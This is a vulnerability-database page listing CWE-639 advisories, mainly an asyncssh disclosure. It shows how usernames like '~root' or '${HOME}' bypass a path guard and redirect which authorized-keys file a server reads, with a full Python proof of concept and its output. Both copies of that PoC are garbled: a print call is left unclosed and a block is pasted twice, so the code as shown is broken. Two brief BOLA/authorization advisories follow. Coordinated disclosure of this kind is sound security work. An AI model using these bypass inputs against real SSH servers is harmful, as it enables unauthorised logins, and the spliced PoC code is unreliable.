CWE-639
AllowedAuthorization Bypass Through User-Controlled Key
Abstraction: Base · Status: Incomplete
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
5932 vulnerabilities reference this CWE, most recent first.
GHSA-QR67-GV47-XWWH
Vulnerability from github – Published: 2026-08-26 15:32 – Updated: 2026-08-26 15:32Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h). The
2.23.0 guard that sanitises the SSH username before %u substitution
in AuthorizedKeysFile blocks /, \ and .., but does not block a
leading ~ (or ${ENV}), both of which are re-introduced by later
expansion and reach the file open — defeating the guard.
Affected: asyncssh 2.23.0 and current develop (commit a60f863,
HEAD on 2026-05-29).
## Summary
The fix for CVE-2026-45309 added a guard in
SSHServerConfig._set_tokens (asyncssh/config.py:715-716) that
rejects an SSH username containing /, \, or equal to .., before
it is substituted for the %u token in AuthorizedKeysFile:
if self._user == '..' or '/' in self._user or '\\' in self._user:
raise IllegalUserName('Unsafe username substitution')
However, the %u-substituted value is subsequently passed through
environment-variable expansion (_expand_val, config.py:145-149 —
token expansion then env expansion) and, at file-open time, through
expanduser() (read_authorized_keys → read_file →
open(Path(filename).expanduser()), auth_keys.py:348 →
misc.py:290). Both re-introduce the path control the guard was meant
to remove, so a username that contains no //\ can still cause the
server to read an authorized-keys file outside the intended per-user
directory.
The client-supplied username reaches this path pre-authentication:
_process_userauth_request takes the username from the
SSH_MSG_USERAUTH_REQUEST packet (connection.py:2516-2519) and
_finish_userauth calls reload_config() (connection.py:2536),
which re-evaluates AuthorizedKeysFile with username=self._username
(connection.py:5906) before the offered key is validated.
## Primary vector — leading ~
A username such as ~root or ~victim passes the guard (no /). For
a server whose AuthorizedKeysFile begins with %u — e.g.
AuthorizedKeysFile %u/.ssh/authorized_keys — the expanded value is
~victim/.ssh/authorized_keys, which expanduser() resolves to
/home/victim/.ssh/authorized_keys (~root → /root/...; a bare ~
→ the server process's home). The username has therefore escaped the
intended per-user location without using any path separator —
defeating the purpose of the guard.
Note: expanduser() only expands a leading ~, so this vector
requires %u to be the first path component of AuthorizedKeysFile.
(The CVE-2026-45309 authorized_keys/%u example — %u not leading —
is not reachable this way; that was the ../ form.)
## Impact and limitations
- Demonstrated (verified against source at a60f863): the guard is
bypassable and the authorized-keys lookup is redirected to an
attacker-named home tree, pre-auth, with a separator-free username.
- Impact model = identical to CVE-2026-45309: authenticating as the
redirected username when a readable authorized-keys file containing
the attacker's key is reachable at the redirected location. The parent
CVE accepted this exact precondition and was scored C:N/I:H/A:N;
this is scored consistently.
- Not built: a live multi-account SSH auth harness; the PoC verifies
the path-redirection mechanism in-process, deterministically. No new
primitive is claimed beyond the parent CVE's accepted model — only
that the 2.23.0 fix does not close it for ~/${ENV}.
- Preconditions (captured by AC:H): %u must be the leading path
component; on Python 3.13, Path('~nonexistentuser').expanduser()
raises RuntimeError, so only existing accounts are reachable
(confirmed: asyncssh 2.23.0, Python 3.13.12).
## Secondary vector — ${ENV} (defense-in-depth only)
A username like ${HOME} also passes the guard and is then
environment-expanded, re-introducing /. Weaker and not a practical
exploit: the attacker can only reference env vars that already exist
in the server process (a missing variable raises ConfigParseError)
and cannot control their values. Reported as hardening.
## Reproduction In-process, deterministic, no network. Against a checkout of asyncssh 2.23.0:
cd /path/to/asyncssh
PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py
Output (abridged):
[1] original CVE '../../../../tmp/evil' blocked: True (fix present)
literal-slash user '/etc' blocked: True
[A] tilde bypass user '~root':
guard blocks it? False (False == bypass)
expanded config value : ['~root/.ssh/authorized_keys']
after expanduser() : /root/.ssh/authorized_keys <-- read as authorized_keys
VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)
## Suggested fix
Tighten _set_tokens to also reject usernames that re-introduce path
control after expansion — reject a leading ~ / ~user and $/${
references in self._user. More robustly, validate that the FINAL
expanded AuthorizedKeysFile path remains within the intended base
directory, and/or suppress expanduser/environment expansion on the
%u-derived component specifically.
## Disclosure
Coordinated, ~90-day default. I will not publish details/PoC before a
fix is released, and am happy to validate the patch. Credit (if given)
to cesabici-bit.
## PoC source (see code block below)
#!/usr/bin/env python3
"""
PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path
control). Local-only, in-process, deterministic. No network.
CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in
SSHServerConfig._set_tokens that rejects a client username containing
'/', '\\', or equal to '..' before it is substituted for the %u token in
the server's AuthorizedKeysFile directive.
This PoC shows the blocklist is bypassable: the %u value is afterwards run
through (1) ${ENV} expansion and (2) ~ expanduser(), both of which
re-introduce the path control the guard was meant to remove.
CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets
a separator-free username (e.g. '~root') escape to another home tree when %u
is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can
only REFERENCE env vars that already exist on the server and cannot control
their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to
illustrate the expansion, and does NOT represent attacker capability. Treat (1)
as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.
Run from a checkout of asyncssh (cwd on sys.path), e.g.:
cd /tmp/targets/asyncssh && python3 <thisfile>
"""
import os
import sys
import tempfile
from pathlib import Path
import asyncssh
from asyncssh.config import SSHServerConfig
try:
from asyncssh.misc import IllegalUserName
except Exception: # pragma: no cover
IllegalUserName = asyncssh.IllegalUserName
def expand_authkeys(user, cfg_text):
"""Load a server config exactly as SSHServerConnection does and return the
expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the
CVE-2026-45309 guard fires."""
with tempfile.NamedTemporaryFile("w", suffix=".conf", delete=False) as f:
f.write(cfg_text)
cfg_path = f.name
try:
# mirror connection.py:8897
# SSHServerConfig.load(last_config, config, reload, canonical, final,
# accept_addr, accept_port, username,
# client_host, client_addr)
cfg = SSHServerConfig.load(
None, cfg_path, True, False, False,
"127.0.0.1", 22, user, "client.example", "203.0.113.7",
)
return cfg.get("AuthorizedKeysFile")
finally:
os.unlink(cfg_path)
def guard_blocks(user, cfg_text):
"""Return True if the CVE-2026-45309 guard rejects this username."""
try:
expand_authkeys(user, cfg_text)
return False
except IllegalUserName:
return True
def main():
print(f"# asyncssh {asyncssh.__version__} ({asyncssh.__file__})")
print(f"# python {sys.version.split()[0]}\n")
results = []
# ---- Sanity 0: benign username expands normally -----------------------
cfg = "AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u"
val = expand_authkeys("alice", cfg)
print(f"[0] benign user 'alice': {val}")
results.append(("benign expands to per-user path",
val == ["/etc/ssh/authorized_keys.d/alice"]))
# ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------
blocked = guard_blocks("../../../../tmp/evil", cfg)
print(f"[1] original CVE '../../../../tmp/evil' blocked: {blocked}")
results.append(("original CVE traversal is blocked (fix present)", blocked))
# also: a literal slash is blocked (the guard's whole purpose)
slash_blocked = guard_blocks("/etc", cfg)
print(f" literal-slash user '/etc' blocked: {slash_blocked}")
results.append(("literal-slash username is blocked", slash_blocked))
print()
# ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------
cfg_a = "AuthorizedKeysFile %u/.ssh/authorized_keys"
blocked_a = guard_blocks("~root", cfg_a)
val_a = expand_authkeys("~root", cfg_a)
resolved_a = str(Path(val_a[0]).expanduser()) # what read_file()/open_file() does
print(f"[A] tilde bypass user '~root':")
print(f" guard blocks it? {blocked_a} (False == bypass)")
print(f" expanded config value : {val_a}")
print(f" after expanduser() : {resolved_a} <-- read as authorized_keys")
results.append(("A: ~user NOT blocked by guard", not blocked_a))
results.append(("A: expanduser() redirects to another home tree",
resolved_a.startswith("/root/") or "~" not in resolved_a))
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))
# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))
# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)"
if ok else "one or more checks did not hold")
return 0 if ok else 1
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.23.0"
},
"package": {
"ecosystem": "PyPI",
"name": "asyncssh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.23.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54590"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-26T15:32:00Z",
"nvd_published_at": "2026-07-08T21:16:49Z",
"severity": "MODERATE"
},
"details": "**Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h).** The\n 2.23.0 guard that sanitises the SSH username before `%u` substitution\n in `AuthorizedKeysFile` blocks `/`, `\\` and `..`, but does not block a\n leading `~` (or `${ENV}`), both of which are re-introduced by later\n expansion and reach the file open \u2014 defeating the guard.\n\n **Affected:** asyncssh 2.23.0 and current `develop` (commit `a60f863`,\n HEAD on 2026-05-29).\n\n ## Summary\n The fix for CVE-2026-45309 added a guard in\n `SSHServerConfig._set_tokens` (`asyncssh/config.py:715-716`) that\n rejects an SSH username containing `/`, `\\`, or equal to `..`, before\n it is substituted for the `%u` token in `AuthorizedKeysFile`:\n\n if self._user == \u0027..\u0027 or \u0027/\u0027 in self._user or \u0027\\\\\u0027 in self._user:\n raise IllegalUserName(\u0027Unsafe username substitution\u0027)\n\n However, the `%u`-substituted value is subsequently passed through\n environment-variable expansion (`_expand_val`, `config.py:145-149` \u2014\n token expansion then env expansion) and, at file-open time, through\n `expanduser()` (`read_authorized_keys` \u2192 `read_file` \u2192\n `open(Path(filename).expanduser())`, `auth_keys.py:348` \u2192\n `misc.py:290`). Both re-introduce the path control the guard was meant\n to remove, so a username that contains no `/`/`\\` can still cause the\n server to read an authorized-keys file outside the intended per-user\n directory.\n\n The client-supplied username reaches this path pre-authentication:\n `_process_userauth_request` takes the username from the\n `SSH_MSG_USERAUTH_REQUEST` packet (`connection.py:2516-2519`) and\n `_finish_userauth` calls `reload_config()` (`connection.py:2536`),\n which re-evaluates `AuthorizedKeysFile` with `username=self._username`\n (`connection.py:5906`) before the offered key is validated.\n\n ## Primary vector \u2014 leading `~`\n A username such as `~root` or `~victim` passes the guard (no `/`). For\n a server whose `AuthorizedKeysFile` begins with `%u` \u2014 e.g.\n `AuthorizedKeysFile %u/.ssh/authorized_keys` \u2014 the expanded value is\n `~victim/.ssh/authorized_keys`, which `expanduser()` resolves to\n `/home/victim/.ssh/authorized_keys` (`~root` \u2192 `/root/...`; a bare `~`\n \u2192 the server process\u0027s home). The username has therefore escaped the\n intended per-user location without using any path separator \u2014\n defeating the purpose of the guard.\n\n Note: `expanduser()` only expands a leading `~`, so this vector\n requires `%u` to be the first path component of `AuthorizedKeysFile`.\n (The CVE-2026-45309 `authorized_keys/%u` example \u2014 `%u` not leading \u2014\n is not reachable this way; that was the `../` form.)\n\n ## Impact and limitations\n - Demonstrated (verified against source at `a60f863`): the guard is\n bypassable and the authorized-keys lookup is redirected to an\n attacker-named home tree, pre-auth, with a separator-free username.\n - Impact model = identical to CVE-2026-45309: authenticating as the\n redirected username when a readable authorized-keys file containing\n the attacker\u0027s key is reachable at the redirected location. The parent\n CVE accepted this exact precondition and was scored `C:N/I:H/A:N`;\n this is scored consistently.\n - Not built: a live multi-account SSH auth harness; the PoC verifies\n the path-redirection mechanism in-process, deterministically. No new\n primitive is claimed beyond the parent CVE\u0027s accepted model \u2014 only\n that the 2.23.0 fix does not close it for `~`/`${ENV}`.\n - Preconditions (captured by AC:H): `%u` must be the leading path\n component; on Python 3.13, `Path(\u0027~nonexistentuser\u0027).expanduser()`\n raises `RuntimeError`, so only existing accounts are reachable\n (confirmed: asyncssh 2.23.0, Python 3.13.12).\n\n ## Secondary vector \u2014 `${ENV}` (defense-in-depth only)\n A username like `${HOME}` also passes the guard and is then\n environment-expanded, re-introducing `/`. Weaker and not a practical\n exploit: the attacker can only reference env vars that already exist\n in the server process (a missing variable raises `ConfigParseError`)\n and cannot control their values. Reported as hardening.\n\n ## Reproduction\n In-process, deterministic, no network. Against a checkout of asyncssh\n 2.23.0:\n\n cd /path/to/asyncssh\n PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py\n\n Output (abridged):\n\n [1] original CVE \u0027../../../../tmp/evil\u0027 blocked: True (fix present)\n literal-slash user \u0027/etc\u0027 blocked: True\n [A] tilde bypass user \u0027~root\u0027:\n guard blocks it? False (False == bypass)\n expanded config value : [\u0027~root/.ssh/authorized_keys\u0027]\n after expanduser() : /root/.ssh/authorized_keys \u003c-- read as authorized_keys\n VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\n\n ## Suggested fix\n Tighten `_set_tokens` to also reject usernames that re-introduce path\n control after expansion \u2014 reject a leading `~` / `~user` and `$`/`${`\n references in `self._user`. More robustly, validate that the FINAL\n expanded `AuthorizedKeysFile` path remains within the intended base\n directory, and/or suppress `expanduser`/environment expansion on the\n `%u`-derived component specifically.\n\n ## Disclosure\n Coordinated, ~90-day default. I will not publish details/PoC before a\n fix is released, and am happy to validate the patch. Credit (if given)\n to `cesabici-bit`.\n\n ## PoC source\n (see code block below)\n\n```python\n #!/usr/bin/env python3\n \"\"\"\n PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path\n control). Local-only, in-process, deterministic. No network.\n\n CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in\n SSHServerConfig._set_tokens that rejects a client username containing\n \u0027/\u0027, \u0027\\\\\u0027, or equal to \u0027..\u0027 before it is substituted for the %u token in\n the server\u0027s AuthorizedKeysFile directive.\n\n This PoC shows the blocklist is bypassable: the %u value is afterwards run\n through (1) ${ENV} expansion and (2) ~ expanduser(), both of which\n re-introduce the path control the guard was meant to remove.\n\n CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() \u2014 it lets\n a separator-free username (e.g. \u0027~root\u0027) escape to another home tree when %u\n is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can\n only REFERENCE env vars that already exist on the server and cannot control\n their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to\n illustrate the expansion, and does NOT represent attacker capability. Treat (1)\n as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.\n\n Run from a checkout of asyncssh (cwd on sys.path), e.g.:\n cd /tmp/targets/asyncssh \u0026\u0026 python3 \u003cthisfile\u003e\n \"\"\"\n\n import os\n import sys\n import tempfile\n from pathlib import Path\n\n import asyncssh\n from asyncssh.config import SSHServerConfig\n\n try:\n from asyncssh.misc import IllegalUserName\n except Exception: # pragma: no cover\n IllegalUserName = asyncssh.IllegalUserName\n\n\n def expand_authkeys(user, cfg_text):\n \"\"\"Load a server config exactly as SSHServerConnection does and return the\n expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the\n CVE-2026-45309 guard fires.\"\"\"\n with tempfile.NamedTemporaryFile(\"w\", suffix=\".conf\", delete=False) as f:\n f.write(cfg_text)\n cfg_path = f.name\n try:\n # mirror connection.py:8897\n # SSHServerConfig.load(last_config, config, reload, canonical, final,\n # accept_addr, accept_port, username,\n # client_host, client_addr)\n cfg = SSHServerConfig.load(\n None, cfg_path, True, False, False,\n \"127.0.0.1\", 22, user, \"client.example\", \"203.0.113.7\",\n )\n return cfg.get(\"AuthorizedKeysFile\")\n finally:\n os.unlink(cfg_path)\n\n\n def guard_blocks(user, cfg_text):\n \"\"\"Return True if the CVE-2026-45309 guard rejects this username.\"\"\"\n try:\n expand_authkeys(user, cfg_text)\n return False\n except IllegalUserName:\n return True\n\n\n def main():\n print(f\"# asyncssh {asyncssh.__version__} ({asyncssh.__file__})\")\n print(f\"# python {sys.version.split()[0]}\\n\")\n\n results = []\n\n # ---- Sanity 0: benign username expands normally -----------------------\n cfg = \"AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u\"\n val = expand_authkeys(\"alice\", cfg)\n print(f\"[0] benign user \u0027alice\u0027: {val}\")\n results.append((\"benign expands to per-user path\",\n val == [\"/etc/ssh/authorized_keys.d/alice\"]))\n\n # ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------\n blocked = guard_blocks(\"../../../../tmp/evil\", cfg)\n print(f\"[1] original CVE \u0027../../../../tmp/evil\u0027 blocked: {blocked}\")\n results.append((\"original CVE traversal is blocked (fix present)\", blocked))\n\n # also: a literal slash is blocked (the guard\u0027s whole purpose)\n slash_blocked = guard_blocks(\"/etc\", cfg)\n print(f\" literal-slash user \u0027/etc\u0027 blocked: {slash_blocked}\")\n results.append((\"literal-slash username is blocked\", slash_blocked))\n\n print()\n\n # ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------\n cfg_a = \"AuthorizedKeysFile %u/.ssh/authorized_keys\"\n blocked_a = guard_blocks(\"~root\", cfg_a)\n val_a = expand_authkeys(\"~root\", cfg_a)\n resolved_a = str(Path(val_a[0]).expanduser()) # what read_file()/open_file() does\n print(f\"[A] tilde bypass user \u0027~root\u0027:\")\n print(f\" guard blocks it? {blocked_a} (False == bypass)\")\n print(f\" expanded config value : {val_a}\")\n print(f\" after expanduser() : {resolved_a} \u003c-- read as authorized_keys\")\n results.append((\"A: ~user NOT blocked by guard\", not blocked_a))\n results.append((\"A: expanduser() redirects to another home tree\",\n resolved_a.startswith(\"/root/\") or \"~\" not in resolved_a))\n\n print()\n\n # ---- BYPASS B: ${ENV} survives the guard, re-introduces \u0027/\u0027 -----------\n # The username contains no \u0027/\u0027,\u0027\\\\\u0027 and is not \u0027..\u0027, so the guard passes.\n # Token expansion makes %u -\u003e \u0027${HOME}\u0027, then ENV expansion substitutes a\n # server value that DOES contain \u0027/\u0027, defeating the separator filter.\n cfg_b = \"AuthorizedKeysFile %u\"\n os.environ.setdefault(\"HOME\", \"/root\")\n blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n val_b = expand_authkeys(\"${HOME}\", cfg_b)\n print(f\"[B] env bypass user \u0027${{HOME}}\u0027:\")\n print(f\" guard blocks it? {blocked_b} (False == bypass)\")\n print(f\" expanded config value : {val_b} (HOME={os.environ[\u0027HOME\u0027]})\")\n sep_injected = any(\"/\" in p for p in val_b)\n print(f\" contains \u0027/\u0027 after guard? {sep_injected} \u003c-- separator filter bypassed\")\n results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n results.append((\"B: ${ENV} re-introduces \u0027/\u0027 the guard rejected literally\",\n sep_injected))\n\n # demonstrate arbitrary \u0027/\u0027-containing absolute path via a referenced var\n os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n print(f\" via referenced env var: {val_b2}\")\n results.append((\"B: env value yields absolute \u0027/\u0027-path post-guard\",\n val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n # ---- verdict ----------------------------------------------------------\n print(\"\\n==== RESULTS ====\")\n ok = True\n for name, passed in results:\n print(f\" [{\u0027PASS\u0027 if passed else \u0027FAIL\u0027}] {name}\")\n ok = ok and passed\n print(\"\\nVERDICT:\",\n\n print()\n\n # ---- BYPASS B: ${ENV} survives the guard, re-introduces \u0027/\u0027 -----------\n # The username contains no \u0027/\u0027,\u0027\\\\\u0027 and is not \u0027..\u0027, so the guard passes.\n # Token expansion makes %u -\u003e \u0027${HOME}\u0027, then ENV expansion substitutes a\n # server value that DOES contain \u0027/\u0027, defeating the separator filter.\n cfg_b = \"AuthorizedKeysFile %u\"\n os.environ.setdefault(\"HOME\", \"/root\")\n blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n val_b = expand_authkeys(\"${HOME}\", cfg_b)\n print(f\"[B] env bypass user \u0027${{HOME}}\u0027:\")\n print(f\" guard blocks it? {blocked_b} (False == bypass)\")\n print(f\" expanded config value : {val_b} (HOME={os.environ[\u0027HOME\u0027]})\")\n sep_injected = any(\"/\" in p for p in val_b)\n print(f\" contains \u0027/\u0027 after guard? {sep_injected} \u003c-- separator filter bypassed\")\n results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n results.append((\"B: ${ENV} re-introduces \u0027/\u0027 the guard rejected literally\",\n sep_injected))\n\n # demonstrate arbitrary \u0027/\u0027-containing absolute path via a referenced var\n os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n print(f\" via referenced env var: {val_b2}\")\n results.append((\"B: env value yields absolute \u0027/\u0027-path post-guard\",\n val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n # ---- verdict ----------------------------------------------------------\n print(\"\\n==== RESULTS ====\")\n ok = True\n for name, passed in results:\n print(f\" [{\u0027PASS\u0027 if passed else \u0027FAIL\u0027}] {name}\")\n ok = ok and passed\n print(\"\\nVERDICT:\",\n \"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\"\n if ok else \"one or more checks did not hold\")\n return 0 if ok else 1\n\n\n if __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-qr67-gv47-xwwh",
"modified": "2026-08-26T15:32:00Z",
"published": "2026-08-26T15:32:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54590"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/commit/3d515ba9ba0cd9990d248bdf62bcf05d51261a88"
},
{
"type": "PACKAGE",
"url": "https://github.com/ronf/asyncssh"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/releases/tag/v2.23.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "asyncssh has an incomplete fix for CVE-2026-45309 \u2014 AuthorizedKeysFile %u still escapes the intended directory via a leading ~ (and weakly via ${ENV}) username substitution"
}
GHSA-QR6W-MRXG-53J3
Vulnerability from github – Published: 2024-07-09 12:30 – Updated: 2024-07-09 12:30A BOLA vulnerability in GET, PUT, DELETE /customers/{customerId} allows a low privileged user to fetch, modify or delete a low privileged user (customer). This results in unauthorized access and unauthorized data manipulation.
{
"affected": [],
"aliases": [
"CVE-2023-38054"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-09T11:15:11Z",
"severity": "CRITICAL"
},
"details": "A BOLA vulnerability in GET, PUT, DELETE /customers/{customerId} allows a low privileged user to fetch, modify or delete a low privileged user (customer). This results in unauthorized access and unauthorized data manipulation.",
"id": "GHSA-qr6w-mrxg-53j3",
"modified": "2024-07-09T12:30:56Z",
"published": "2024-07-09T12:30:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38054"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QR6X-WVXR-8HM9
Vulnerability from github – Published: 2026-03-23 20:39 – Updated: 2026-03-25 20:46Security Advisory — My Page Profile Update (Improper Authorization)
Summary
An improper authorization issue in the My Page profile update feature may allow modification of arbitrary user information.
Affected Versions
- 1.x series: <= 1.41.0
- 2.x series: <= 2.41.0
Patched Versions
- 1.41.1
- 2.41.1
Description
In part of the My Page profile update feature, another user's profile information or password could be modified. If exploited, arbitrary user accounts may be taken over. Exploitation requires that the attacker be able to reach the affected functionality as an authenticated user. Users affected by this vulnerability should update to a fixed version.
Solution
Update to the fixed version. For the 1.x series, update to 1.41.1 or later. For the 2.x series, update to 2.41.1 or later.
Credits
OpenSource WorkShops thanks Sho Odagiri (小田切 祥) of GMO Cybersecurity by Ierae, Inc. for reporting this vulnerability.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.41.0"
},
"package": {
"ecosystem": "Packagist",
"name": "opensource-workshop/connect-cms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.41.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.41.0"
},
"package": {
"ecosystem": "Packagist",
"name": "opensource-workshop/connect-cms"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.41.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32300"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-23T20:39:10Z",
"nvd_published_at": "2026-03-23T22:16:27Z",
"severity": "HIGH"
},
"details": "# Security Advisory \u2014 My Page Profile Update (Improper Authorization)\n\n## Summary\n\nAn improper authorization issue in the My Page profile update feature may allow modification of arbitrary user information.\n\n## Affected Versions\n\n- 1.x series: \u003c= 1.41.0\n- 2.x series: \u003c= 2.41.0\n\n## Patched Versions\n\n- 1.41.1\n- 2.41.1\n\n## Description\n\nIn part of the My Page profile update feature, another user\u0027s profile information or password could be modified. If exploited, arbitrary user accounts may be taken over. Exploitation requires that the attacker be able to reach the affected functionality as an authenticated user. Users affected by this vulnerability should update to a fixed version.\n\n## Solution\n\nUpdate to the fixed version.\nFor the 1.x series, update to 1.41.1 or later.\nFor the 2.x series, update to 2.41.1 or later.\n\n## Credits\n\nOpenSource WorkShops thanks **Sho Odagiri** (\u5c0f\u7530\u5207 \u7965) of **GMO Cybersecurity by Ierae, Inc.** for reporting this vulnerability.",
"id": "GHSA-qr6x-wvxr-8hm9",
"modified": "2026-03-25T20:46:16Z",
"published": "2026-03-23T20:39:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/opensource-workshop/connect-cms/security/advisories/GHSA-qr6x-wvxr-8hm9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32300"
},
{
"type": "WEB",
"url": "https://github.com/opensource-workshop/connect-cms/commit/7c9951738c62a1d51b91e9956d1eb756c5d52cce"
},
{
"type": "PACKAGE",
"url": "https://github.com/opensource-workshop/connect-cms"
},
{
"type": "WEB",
"url": "https://github.com/opensource-workshop/connect-cms/releases/tag/v1.41.1"
},
{
"type": "WEB",
"url": "https://github.com/opensource-workshop/connect-cms/releases/tag/v2.41.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Connect CMS: Improper Authorization in the My Page Profile Update Feature Allows Modification of Arbitrary User Information"
